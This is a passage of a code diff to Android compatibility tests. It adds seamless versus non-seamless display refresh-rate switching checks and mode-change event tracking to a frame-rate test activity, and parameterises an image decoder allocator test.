+    private ModeChangedEvents mModeChangedEvents = new ModeChangedEvents();
 
     private enum ActivityState { RUNNING, PAUSED, DESTROYED }
 
@@ -98,13 +106,14 @@
                 return;
             }
             synchronized (mLock) {
-                float frameRate = mDisplayManager.getDisplay(displayId).getMode().getRefreshRate();
+                Display.Mode mode = mDisplayManager.getDisplay(displayId).getMode();
+                mModeChangedEvents.add(mode);
+                float frameRate =  mode.getRefreshRate();
                 if (frameRate != mDeviceFrameRate) {
                     Log.i(TAG,
-                            String.format("Frame rate changed: %.0f --> %.0f", mDeviceFrameRate,
+                            String.format("Frame rate changed: %.2f --> %.2f", mDeviceFrameRate,
                                     frameRate));
                     mDeviceFrameRate = frameRate;
-                    mFrameRateChangedEvents.add(frameRate);
                     mLock.notify();
                 }
             }
@@ -114,17 +123,38 @@
         public void onDisplayRemoved(int displayId) {}
     };
 
+    // Wrapper around ArrayList for which the only allowed mutable operation is add().
+    // We use this to store all mode change events during a test. When we need to iterate over
+    // all mode changes during a certain operation, we use the number of events in the beginning
+    // and in the end. It's important to never clear or modify the elements in this list hence the
+    // wrapper.
+    private static class ModeChangedEvents {
+        private List<Display.Mode> mEvents = new ArrayList<>();
+
+        public void add(Display.Mode mode) {
+            mEvents.add(mode);
+        }
+
+        public Display.Mode get(int i) {
+            return mEvents.get(i);
+        }
+
+        public int size() {
+            return mEvents.size();
+        }
+    }
+
     private static class PreconditionViolatedException extends RuntimeException {
         PreconditionViolatedException() {}
     }
 
     private static class FrameRateTimeoutException extends RuntimeException {
-        FrameRateTimeoutException(float appRequestedFrameRate, float deviceFrameRate) {
-            this.appRequestedFrameRate = appRequestedFrameRate;
+        FrameRateTimeoutException(float expectedFrameRate, float deviceFrameRate) {
+            this.expectedFrameRate = expectedFrameRate;
             this.deviceFrameRate = deviceFrameRate;
         }
 
-        public float appRequestedFrameRate;
+        public float expectedFrameRate;
         public float deviceFrameRate;
     }
 
@@ -187,34 +217,38 @@
             postBuffer();
         }
 
-        public int setFrameRate(float frameRate, int compatibility) {
+        public int setFrameRate(float frameRate, int compatibility, boolean shouldBeSeamless) {
             Log.i(TAG,
-                    String.format("Setting frame rate for %s: fps=%.0f compatibility=%s", mName,
+                    String.format("Setting frame rate for %s: fps=%.2f compatibility=%s", mName,
                             frameRate, frameRateCompatibilityToString(compatibility)));
 
             int rc = 0;
             if (mApi == Api.SURFACE) {
-                mSurface.setFrameRate(frameRate, compatibility);
+                mSurface.setFrameRate(frameRate, compatibility, shouldBeSeamless);
             } else if (mApi == Api.ANATIVE_WINDOW) {
-                rc = nativeWindowSetFrameRate(mSurface, frameRate, compatibility);
+                rc = nativeWindowSetFrameRate(mSurface, frameRate, compatibility, shouldBeSeamless);
             } else if (mApi == Api.SURFACE_CONTROL) {
                 SurfaceControl.Transaction transaction = new SurfaceControl.Transaction();
                 try {
-                    transaction.setFrameRate(mSurfaceControl, frameRate, compatibility).apply();
+                    transaction
+                        .setFrameRate(mSurfaceControl, frameRate, compatibility, shouldBeSeamless)
+                        .apply();
                 } finally {
                     transaction.close();
                 }
             } else if (mApi == Api.NATIVE_SURFACE_CONTROL) {
-                nativeSurfaceControlSetFrameRate(mNativeSurfaceControl, frameRate, compatibility);
+                nativeSurfaceControlSetFrameRate(mNativeSurfaceControl, frameRate, compatibility,
+                        shouldBeSeamless);
             }
             return rc;
         }
 
-        public void setInvalidFrameRate(float frameRate, int compatibility) {
+        public void setInvalidFrameRate(float frameRate, int compatibility,
+                boolean shouldBeSeamless) {
             if (mApi == Api.SURFACE) {
                 boolean caughtIllegalArgException = false;
                 try {
-                    setFrameRate(frameRate, compatibility);
+                    setFrameRate(frameRate, compatibility, shouldBeSeamless);
                 } catch (IllegalArgumentException exc) {
                     caughtIllegalArgException = true;
                 }
@@ -222,7 +256,7 @@
                                 + " Surface.setFrameRate()",
                         caughtIllegalArgException);
             } else {
-                int rc = setFrameRate(frameRate, compatibility);
+                int rc = setFrameRate(frameRate, compatibility, shouldBeSeamless);
                 if (mApi == Api.ANATIVE_WINDOW) {
                     assertTrue("Expected -EINVAL return value from invalid call to"
                                     + " ANativeWindow_setFrameRate()",
@@ -312,8 +346,10 @@
         super.onCreate(savedInstanceState);
         synchronized (mLock) {
             mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
-            mDeviceFrameRate =
-                    mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY).getMode().getRefreshRate();
+            Display.Mode mode = getDisplay().getMode();
+            mDeviceFrameRate = mode.getRefreshRate();
+            // Insert the initial mode so we have the full display mode history.
+            mModeChangedEvents.add(mode);
             mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
             mSurfaceView = new SurfaceView(this);
             mSurfaceView.setWillNotDraw(false);
@@ -353,40 +389,70 @@
         }
     }
 
-    private ArrayList<Float> getFrameRatesToTest() {
-        Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+    private boolean isAlternative(Display.Mode mode, Display.Mode other) {
+        if (!hasSameResolution(mode, other)) {
+            return false;
+        }
+
+        for (float alternativeFps : mode.getAlternativeRefreshRates()) {
+            if (Math.abs(alternativeFps - other.getRefreshRate()) <= FRAME_RATE_TOLERANCE) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    // Returns the refresh rates with the same resolution as "mode".
+    private ArrayList<Float> getRefreshRates(Display.Mode mode, Display display) {
         Display.Mode[] modes = display.getSupportedModes();
-        Display.Mode currentMode = display.getMode();
-        ArrayList<Float> frameRates = new ArrayList<Float>();
-        for (Display.Mode mode : modes) {
-            if (mode.getPhysicalWidth() == currentMode.getPhysicalWidth()
-                    && mode.getPhysicalHeight() == currentMode.getPhysicalHeight()) {
-                frameRates.add(mode.getRefreshRate());
+        ArrayList<Float> frameRates = new ArrayList<>();
+        for (Display.Mode supportedMode : modes) {
+            if (hasSameResolution(supportedMode, mode)) {
+                frameRates.add(supportedMode.getRefreshRate());
             }
         }
         Collections.sort(frameRates);
-        ArrayList<Float> uniqueFrameRates = new ArrayList<Float>();
+        ArrayList<Float> uniqueFrameRates = new ArrayList<>();
         for (float frameRate : frameRates) {
             if (uniqueFrameRates.isEmpty()
-                    || frameRate - uniqueFrameRates.get(uniqueFrameRates.size() - 1) >= 1.0f) {
+                    || frameRate - uniqueFrameRates.get(uniqueFrameRates.size() - 1)
+                            >= FRAME_RATE_TOLERANCE) {
                 uniqueFrameRates.add(frameRate);
             }
         }
         return uniqueFrameRates;
     }
 
+    private List<Float> getSeamedRefreshRates(Display.Mode mode, Display display) {
+        List<Float> seamedRefreshRates = new ArrayList<>();
+        Display.Mode[] modes = display.getSupportedModes();
+        for (Display.Mode otherMode : modes) {
+            if (hasSameResolution(mode, otherMode) && !isAlternative(mode, otherMode)) {
+                seamedRefreshRates.add(otherMode.getRefreshRate());
+            }
+        }
+        return seamedRefreshRates;
+    }
+
+    private boolean hasSameResolution(Display.Mode mode1, Display.Mode mode2) {
+        return mode1.getPhysicalHeight() == mode2.getPhysicalHeight()
+                && mode1.getPhysicalWidth() == mode2.getPhysicalWidth();
+    }
+
     private boolean isFrameRateMultiple(float higherFrameRate, float lowerFrameRate) {
         float multiple = higherFrameRate / lowerFrameRate;
         int roundedMultiple = Math.round(multiple);
         return roundedMultiple > 0
-                && Math.abs(roundedMultiple * lowerFrameRate - higherFrameRate) <= 0.1f;
+                && Math.abs(roundedMultiple * lowerFrameRate - higherFrameRate)
+                    <= FRAME_RATE_TOLERANCE;
     }
 
     // Returns two device-supported frame rates that aren't multiples of each other, or null if no
     // such incompatible frame rates are available. This is useful for testing behavior where we
     // have layers with conflicting frame rates.
-    private float[] getIncompatibleFrameRates() {
-        ArrayList<Float> frameRates = getFrameRatesToTest();
+    private float[] getIncompatibleFrameRates(Display display) {
+        ArrayList<Float> frameRates = getRefreshRates(display.getMode(), display);
         for (int i = 0; i < frameRates.size(); i++) {
             for (int j = i + 1; j < frameRates.size(); j++) {
                 if (!isFrameRateMultiple(Math.max(frameRates.get(i), frameRates.get(j)),
@@ -421,6 +487,8 @@
                     mActivityState != ActivityState.DESTROYED);
             nowNanos = System.nanoTime();
         }
+        // Make sure any previous mode changes are completed.
+        waitForStableFrameRate();
     }
 
     // Returns true if we encounter a precondition violation, false otherwise.
@@ -449,9 +517,9 @@
     }
 
     // Returns true if we reached waitUntilNanos, false if some other event occurred.
-    private boolean waitForEvents(long waitUntilNanos, ArrayList<TestSurface> surfaces)
+    private boolean waitForEvents(long waitUntilNanos, List<TestSurface> surfaces)
             throws InterruptedException {
-        mFrameRateChangedEvents.clear();
+        int numModeChangedEvents = mModeChangedEvents.size();
         long nowNanos = System.nanoTime();
         while (nowNanos < waitUntilNanos) {
             long surfacePostTime = Long.MAX_VALUE;
@@ -469,7 +537,7 @@
             }
             nowNanos = System.nanoTime();
             verifyPreconditions();
-            if (!mFrameRateChangedEvents.isEmpty()) {
+            if (mModeChangedEvents.size() > numModeChangedEvents) {
                 return false;
             }
             if (nowNanos >= surfacePostTime) {
@@ -481,45 +549,78 @@
         return true;
     }
 
-    private void verifyCompatibleAndStableFrameRate(float appRequestedFrameRate,
-            ArrayList<TestSurface> surfaces) throws InterruptedException {
+    private void waitForStableFrameRate() throws InterruptedException {
+        verifyCompatibleAndStableFrameRate(0, new ArrayList<>());
+    }
+
+    // Set expectedFrameRate to 0.0 to verify only stable frame rate.
+    private void verifyCompatibleAndStableFrameRate(float expectedFrameRate,
+            List<TestSurface> surfaces) throws InterruptedException {
         Log.i(TAG, "Verifying compatible and stable frame rate");
         long nowNanos = System.nanoTime();
         long gracePeriodEndTimeNanos =
                 nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS * 1_000_000_000L;
         while (true) {
-            // Wait until we switch to a compatible frame rate.
-            while (!isFrameRateMultiple(mDeviceFrameRate, appRequestedFrameRate)
-                    && !waitForEvents(gracePeriodEndTimeNanos, surfaces)) {
-                // Empty
-            }
-            nowNanos = System.nanoTime();
-            if (nowNanos >= gracePeriodEndTimeNanos) {
-                throw new FrameRateTimeoutException(appRequestedFrameRate, mDeviceFrameRate);
+            if (expectedFrameRate > FRAME_RATE_TOLERANCE) { // expectedFrameRate > 0
+                // Wait until we switch to a compatible frame rate.
+                while (!isFrameRateMultiple(mDeviceFrameRate, expectedFrameRate)
+                        && !waitForEvents(gracePeriodEndTimeNanos, surfaces)) {
+                    // Empty
+                }
+                nowNanos = System.nanoTime();
+                if (nowNanos >= gracePeriodEndTimeNanos) {
+                    throw new FrameRateTimeoutException(expectedFrameRate, mDeviceFrameRate);
+                }
             }
 
             // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
             // that frame rate.
             long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_SECONDS * 1_000_000_000L;
             while (endTimeNanos > nowNanos) {
+                int numModeChangedEvents = mModeChangedEvents.size();
                 if (waitForEvents(endTimeNanos, surfaces)) {
-                    Log.i(TAG, String.format("Stable frame rate %.0f verified", mDeviceFrameRate));
+                    Log.i(TAG, String.format("Stable frame rate %.2f verified", mDeviceFrameRate));
                     return;
                 }
                 nowNanos = System.nanoTime();
-                if (!mFrameRateChangedEvents.isEmpty()) {
+                if (mModeChangedEvents.size() > numModeChangedEvents) {
                     break;
                 }
             }
         }
     }
 
+    private void verifyModeSwitchesDontChangeResolution(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            assertTrue("Resolution change was not expected, but there was such from "
+                    + fromMode + " to " + toMode + ".", hasSameResolution(fromMode, toMode));
+        }
+    }
+
+    private void verifyModeSwitchesAreSeamless(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            assertTrue("Non-seamless mode switch was not expected, but there was a "
+                            + "non-seamless switch from from " + fromMode + " to " + toMode + ".",
+                    isAlternative(fromMode, toMode));
+        }
+    }
+
     // Unfortunately, we can't just use Consumer<Api> for this, because we need to declare that it
     // throws InterruptedException.
     private interface TestInterface {
         void run(Api api) throws InterruptedException;
     }
 
+    private interface OneSurfaceTestInterface {
+        void run(TestSurface surface) throws InterruptedException;
+    }
+
     // Runs the given test for each api, waiting for the preconditions to be satisfied before
     // running the test. Includes retry logic when the test fails because the preconditions are
     // violated. E.g. if we lose the SurfaceHolder's surface, or the activity is paused/resumed,
@@ -541,6 +642,11 @@
                         } catch (PreconditionViolatedException exc) {
                             // The logic below will retry if we're below max attempts.
                         } catch (FrameRateTimeoutException exc) {
+                            StringWriter stringWriter = new StringWriter();
+                            PrintWriter printWriter = new PrintWriter(stringWriter);
+                            exc.printStackTrace(printWriter);
+                            String stackTrace = stringWriter.toString();
+
                             // Sometimes we get a test timeout failure before we get the
                             // notification that the activity was paused, and it was the pause that
                             // caused the timeout failure. Wait for a bit to see if we get notified
@@ -549,8 +655,9 @@
                             assertTrue(
                                     String.format(
                                             "Timed out waiting for a stable and compatible frame"
-                                                    + " rate. requested=%.0f received=%.0f.",
-                                            exc.appRequestedFrameRate, exc.deviceFrameRate),
+                                                    + " rate. expected=%.2f received=%.2f."
+                                                    + " Stack trace: " + stackTrace,
+                                            exc.expectedFrameRate, exc.deviceFrameRate),
                                     waitForPreconditionViolation());
                         }
 
@@ -562,8 +669,8 @@
                                             mActivityState == ActivityState.RUNNING));
                             attempts++;
                             assertTrue(String.format(
-                                               "Exceeded %d precondition wait attempts. Giving up.",
-                                               PRECONDITION_WAIT_MAX_ATTEMPTS),
+                                    "Exceeded %d precondition wait attempts. Giving up.",
+                                    PRECONDITION_WAIT_MAX_ATTEMPTS),
                                     attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
                         }
                     }
@@ -580,33 +687,77 @@
         }
     }
 
-    private void testExactFrameRateMatch(Api api) throws InterruptedException {
-        ArrayList<Float> frameRatesToTest = getFrameRatesToTest();
-        TestSurface surface = null;
-        try {
-            surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
-                    "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
-                    /*visible=*/true, Color.RED);
-            ArrayList<TestSurface> surfaces = new ArrayList<>();
-            surfaces.add(surface);
-            for (float frameRate : frameRatesToTest) {
-                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-                verifyCompatibleAndStableFrameRate(frameRate, surfaces);
+    public void testExactFrameRateMatch(boolean shouldBeSeamless) throws InterruptedException {
+        String type = shouldBeSeamless ? "seamless" : "non-seamless";
+        runTestsWithPreconditions(api -> testExactFrameRateMatch(api, shouldBeSeamless),
+                type + " exact frame rate match");
+    }
+
+    private void testExactFrameRateMatch(Api api, boolean shouldBeSeamless)
+            throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            Display.Mode currentMode = display.getMode();
+
+            if (shouldBeSeamless) {
+                // Seamless rates should be seamlessly achieved with no resolution changes.
+                List<Float> seamlessRefreshRates =
+                        Floats.asList(currentMode.getAlternativeRefreshRates());
+                for (float frameRate : seamlessRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            /*shouldBeSeamless*/ true);
+                    verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                    verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                    verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                            mModeChangedEvents.size());
+                }
+                // Reset to default
+                surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        /*shouldBeSeamless*/ true);
+                // Wait for potential mode switches
+                verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
+                currentMode = display.getMode();
+
+                // Seamed rates should never generate a seamed switch.
+                List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
+                for (float frameRate : seamedRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            /*shouldBeSeamless*/ true);
+                    // Mode switch can occur, since we could potentially switch to a multiple
+                    // that happens to be seamless.
+                    verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                }
+            } else {
+                // All rates should be seamfully achieved with no resolution changes.
+                List<Float> allRefreshRates = getRefreshRates(currentMode, display);
+                for (float frameRate : allRefreshRates) {
+                    int initialNumEvents = mModeChangedEvents.size();
+                    surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                            /*shouldBeSeamless*/ false);
+                    verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                    verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                            mModeChangedEvents.size());
+                }
             }
-            surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-        } finally {
-            if (surface != null) {
-                surface.release();
-            }
+        });
+    }
+
+    private String modeSwitchesToString(int fromId, int toId) {
+        assertTrue(fromId <= toId);
+        String string = "";
+        for (int eventId = fromId; eventId < toId; eventId++) {
+            Display.Mode fromMode = mModeChangedEvents.get(eventId - 1);
+            Display.Mode toMode = mModeChangedEvents.get(eventId);
+            string += fromMode + " -> " + toMode + "; ";
         }
+        return string;
     }
 
-    public void testExactFrameRateMatch() throws InterruptedException {
-        runTestsWithPreconditions(api -> testExactFrameRateMatch(api), "exact frame rate match");
-    }
-
-    private void testFixedSource(Api api) throws InterruptedException {
-        float[] incompatibleFrameRates = getIncompatibleFrameRates();
+    private void testFixedSource(Api api, boolean shouldBeSeamless) throws InterruptedException {
+        Display display = getDisplay();
+        float[] incompatibleFrameRates = getIncompatibleFrameRates(display);
         if (incompatibleFrameRates == null) {
             Log.i(TAG, "No incompatible frame rates to use for testing fixed_source behavior");
             return;
@@ -615,10 +766,11 @@
         float frameRateA = incompatibleFrameRates[0];
         float frameRateB = incompatibleFrameRates[1];
         Log.i(TAG,
-                String.format("Testing with incompatible frame rates: surfaceA=%.0f surfaceB=%.0f",
+                String.format("Testing with incompatible frame rates: surfaceA=%.2f surfaceB=%.2f",
                         frameRateA, frameRateB));
         TestSurface surfaceA = null;
         TestSurface surfaceB = null;
+
         try {
             int width = mSurfaceView.getHolder().getSurfaceFrame().width();
             int height = mSurfaceView.getHolder().getSurfaceFrame().height() / 2;
@@ -630,16 +782,35 @@
             surfaceB = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface, "surfaceB",
                     destFrameB, /*visible=*/false, Color.GREEN);
 
-            surfaceA.setFrameRate(frameRateA, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surfaceB.setFrameRate(frameRateB, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE);
+            int initialNumEvents = mModeChangedEvents.size();
+            surfaceA.setFrameRate(frameRateA, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    shouldBeSeamless);
+            surfaceB.setFrameRate(frameRateB, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE,
+                    shouldBeSeamless);
 
             ArrayList<TestSurface> surfaces = new ArrayList<>();
             surfaces.add(surfaceA);
             surfaces.add(surfaceB);
 
-            verifyCompatibleAndStableFrameRate(frameRateA, surfaces);
+            if (shouldBeSeamless) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            } else {
+                verifyCompatibleAndStableFrameRate(frameRateA, surfaces);
+            }
+
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
+            initialNumEvents = mModeChangedEvents.size();
+
             surfaceB.setVisibility(true);
-            verifyCompatibleAndStableFrameRate(frameRateB, surfaces);
+
+            if (shouldBeSeamless) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            } else {
+                verifyCompatibleAndStableFrameRate(frameRateB, surfaces);
+            }
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
         } finally {
             if (surfaceA != null) {
                 surfaceA.release();
@@ -650,22 +821,33 @@
         }
     }
 
-    public void testFixedSource() throws InterruptedException {
-        runTestsWithPreconditions(api -> testFixedSource(api), "fixed source behavior");
+    public void testFixedSource(boolean shouldBeSeamless) throws InterruptedException {
+        String type = shouldBeSeamless ? "seamless" : "non-seamless";
+        runTestsWithPreconditions(api -> testFixedSource(api, shouldBeSeamless),
+                type + " fixed source behavior");
     }
 
-    private void testInvalidParams(Api api) throws InterruptedException {
+    private void testInvalidParams(Api api) {
         TestSurface surface = null;
+        final boolean shouldBeSeamless = false;
         try {
             surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
                     "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
                     /*visible=*/true, Color.RED);
-            surface.setInvalidFrameRate(-100.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(
-                    Float.POSITIVE_INFINITY, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(Float.NaN, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT);
-            surface.setInvalidFrameRate(0.f, -10);
-            surface.setInvalidFrameRate(0.f, 50);
+            int initialNumEvents = mModeChangedEvents.size();
+            surface.setInvalidFrameRate(-100.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    shouldBeSeamless);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(Float.POSITIVE_INFINITY,
+                    Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, shouldBeSeamless);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(Float.NaN, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    shouldBeSeamless);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(0.f, -10, shouldBeSeamless);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
+            surface.setInvalidFrameRate(0.f, 50, shouldBeSeamless);
+            assertEquals(initialNumEvents, mModeChangedEvents.size());
         } finally {
             if (surface != null) {
                 surface.release();
@@ -677,13 +859,139 @@
         runTestsWithPreconditions(api -> testInvalidParams(api), "invalid params behavior");
     }
 
+    private void runOneSurfaceTest(Api api, OneSurfaceTestInterface test)
+            throws InterruptedException {
+        TestSurface surface = null;
+        try {
+            surface = new TestSurface(api, mSurfaceView.getSurfaceControl(), mSurface,
+                    "testSurface", mSurfaceView.getHolder().getSurfaceFrame(),
+                    /*visible=*/true, Color.RED);
+
+            ArrayList<TestSurface> surfaces = new ArrayList<>();
+            surfaces.add(surface);
+
+            test.run(surface);
+        } finally {
+            if (surface != null) {
+                surface.release();
+            }
+        }
+    }
+
+    private void testSwitching(TestSurface surface, List<Float> frameRates, boolean expectSwitch,
+            boolean shouldBeSeamless) throws InterruptedException {
+        for (float frameRate : frameRates) {
+            int initialNumEvents = mModeChangedEvents.size();
+            surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    shouldBeSeamless);
+
+            if (expectSwitch) {
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+            }
+            if (shouldBeSeamless) {
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+            }
+            verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                    mModeChangedEvents.size());
+        }
+    }
+
+    private void testMatchContentFramerate_None(Api api) throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            Display.Mode currentMode = display.getMode();
+            List<Float> frameRates = getRefreshRates(currentMode, display);
+
+            for (float frameRate : frameRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        /*shouldBeSeamless*/ false);
+
+                assertTrue("Mode switches are not expected but these were detected "
+                        + modeSwitchesToString(initialNumEvents, mModeChangedEvents.size()),
+                        mModeChangedEvents.size() == initialNumEvents);
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_None() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_None(api),
+                "testMatchContentFramerate_None");
+    }
+
+    private void testMatchContentFramerate_Auto(Api api)
+            throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            Display.Mode currentMode = display.getMode();
+            List<Float> frameRatesToTest = Floats.asList(currentMode.getAlternativeRefreshRates());
+
+            for (float frameRate : frameRatesToTest) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        /*shouldBeSeamless*/ false);
+
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+
+            // Reset to default
+            surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                    /*shouldBeSeamless*/ false);
+
+            // Wait for potential mode switches.
+            verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
+
+            currentMode = display.getMode();
+            List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
+
+            for (float frameRate : seamedRefreshRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        /*shouldBeSeamless*/ false);
+
+                // Mode switches may have occurred, make sure they were all seamless.
+                verifyModeSwitchesAreSeamless(initialNumEvents, mModeChangedEvents.size());
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_Auto() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_Auto(api),
+                "testMatchContentFramerate_Auto");
+    }
+
+    private void testMatchContentFramerate_Always(Api api) throws InterruptedException {
+        runOneSurfaceTest(api, (TestSurface surface) -> {
+            Display display = getDisplay();
+            List<Float> frameRates = getRefreshRates(display.getMode(), display);
+            for (float frameRate : frameRates) {
+                int initialNumEvents = mModeChangedEvents.size();
+                surface.setFrameRate(frameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                        /*shouldBeSeamless*/ false);
+
+                verifyCompatibleAndStableFrameRate(frameRate, Arrays.asList(surface));
+                verifyModeSwitchesDontChangeResolution(initialNumEvents,
+                        mModeChangedEvents.size());
+            }
+        });
+    }
+
+    public void testMatchContentFramerate_Always() throws InterruptedException {
+        runTestsWithPreconditions(api -> testMatchContentFramerate_Always(api),
+                "testMatchContentFramerate_Always");
+    }
+
     private static native int nativeWindowSetFrameRate(
-            Surface surface, float frameRate, int compatibility);
+            Surface surface, float frameRate, int compatibility, boolean shouldBeSeamless);
     private static native long nativeSurfaceControlCreate(
             Surface parentSurface, String name, int left, int top, int right, int bottom);
     private static native void nativeSurfaceControlDestroy(long surfaceControl);
     private static native void nativeSurfaceControlSetFrameRate(
-            long surfaceControl, float frameRate, int compatibility);
+            long surfaceControl, float frameRate, int compatibility, boolean shouldBeSeamless);
     private static native void nativeSurfaceControlSetVisibility(
             long surfaceControl, boolean visible);
     private static native boolean nativeSurfaceControlPostBuffer(long surfaceControl, int color);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 121af43..0c1f1ba 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -69,6 +69,8 @@
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
 import java.util.concurrent.Callable;
 import java.util.function.IntFunction;
 import java.util.function.Supplier;
@@ -181,10 +183,7 @@
             File dir = new File(context.getFilesDir(), "images");
             dir.mkdirs();
             file = new File(dir, "test_file" + resId);
-            if (!file.createNewFile()) {
-                if (file.exists()) {
-                    return file;
-                }
+            if (!file.createNewFile() && !file.exists()) {
                 fail("Failed to create new File!");
             }
 
@@ -220,6 +219,7 @@
     private interface SourceCreator extends IntFunction<ImageDecoder.Source> {};
 
     private SourceCreator[] mCreators = new SourceCreator[] {
+            resId -> ImageDecoder.createSource(getAsByteArray(resId)),
             resId -> ImageDecoder.createSource(getAsByteBufferWrap(resId)),
             resId -> ImageDecoder.createSource(getAsDirectByteBuffer(resId)),
             resId -> ImageDecoder.createSource(getAsReadOnlyByteBuffer(resId)),
@@ -366,9 +366,25 @@
         }
     }
 
+    private Collection<Object[]> paramsForTestSetAllocatorDecodeBitmap() {
+        boolean[] trueFalse = new boolean[] { true, false };
+        List<Object[]> temp = new ArrayList<>();
+        for (Object record : getRecords()) {
+            for (int allocator : ALLOCATORS) {
+                for (boolean doCrop : trueFalse) {
+                    for (boolean doScale : trueFalse) {
+                        temp.add(new Object[]{record, allocator, doCrop, doScale});
+                    }
+                }
+            }
+        }
+        return temp;
+    }
+
     @Test
-    @Parameters(method = "getRecords")
-    public void testSetAllocatorDecodeBitmap(Record record) {
+    @Parameters(method = "paramsForTestSetAllocatorDecodeBitmap")
+    public void testSetAllocatorDecodeBitmap(Record record, int allocator, boolean doCrop,
+                                             boolean doScale) {
